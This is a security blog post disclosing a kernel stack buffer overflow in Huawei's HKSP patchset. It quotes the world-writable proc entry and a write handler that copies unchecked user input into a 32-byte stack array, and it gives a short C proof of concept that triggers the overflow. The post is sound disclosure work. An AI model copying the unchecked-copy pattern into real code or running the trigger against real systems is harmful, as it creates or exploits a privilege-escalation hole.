Huawei HKSP Introduces Trivially Exploitable Vulnerability in the Linux Kernel

Huawei has seemingly stepped its foot into the kernel-self protection game with the release of HKSP . The patch itself is riddled with bugs and weaknesses and generally lacks any kind of threat model (making its mitigations similar to those present in LKRG where knowledge of the mitigation in place is enough to bypass it). It is not clear if the posted patchset is an official Huawei release or whether this code is already shipping on any Huawei devices, but the patchset uses Huawei in its name, and the Github account for the patchset lists Huawei as the organization for the account.

Our focus today in this short blog post will be how the HKSP patchset introduced a trivially exploitable vulnerability due to a complete lack of defensive programming.

As we can see in the below line of the patch, the state entry is created with global RWX rights, a sign of carelessness given that the entry doesn't support any meaningful read operation and execute is meaningless on such an entry.

state_proc = proc_create("state", 0777, ksg_proc, &ksg_state_ops);

The ksg_state_write handler for writes to this entry looks like this:

static ssize_t ksg_state_write(struct file *file, const char __user *buf,
                      size_t len, loff_t *offset)
{
	u64 value;
	char tmp[32];
	size_t n = 0;

        if (copy_from_user(tmp, buf, len))
                return -1;

	value = simple_strtoul(tmp, '\0', 10);
	switch (value) {
	case 1:
		ksg_check_keyboard();
		break;
	case 2:
		ksg_check_nf();
		break;
	case 3:
		ksg_check_pointer();
		break;
	case 4:
		ksg_check_sct();
		break;
	default:
		break;
	}

        *offset += len;
        n += len;

        return len;
}

There are a number of issues with this function. First, there is the return -1 which should return a proper errno (generally -EFAULT ). There is an n variable that is assigned to, but not used for anything. There are no checks at all on the value of len . The first issue this causes is acting as a limited oracle. By writing 0 bytes to the entry, the uninitialized tmp array will attempt to have a number parsed out of it and then acted upon. Likewise, writing a full 32 bytes to the entry and failing to NUL-terminate the string will cause simple_strtoul to access out of bounds, potentially operating as a partial oracle for adjacent memory. Most importantly, due to the lack of checks on len , and given that tmp is a simple 32-byte stack array, this introduces a trivially exploitable kernel stack buffer overflow able to be performed by any unprivileged user.

For completeness, a simple PoC is provided below:

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>

int main(void)
{
        char buf[4096] = { };
        int fd = open("/proc/ksguard/state", O_WRONLY);
        if (fd >= 0) {
		write(fd, buf, sizeof(buf));
		close(fd);
	}
        return 0;
}

Effective security defenses require defined, realistic threat models. Defenses in the kernel should be programmed defensively and with reducing maintenance burdens in mind. The kernel can effectively be thought of as the largest, most vulnerable setuid root binary on the system. New code added to this most-privileged component of the system is potential new attack surface and requires heavy scrutiny, lest worse problems be introduced than were attempted to be solved in the first place.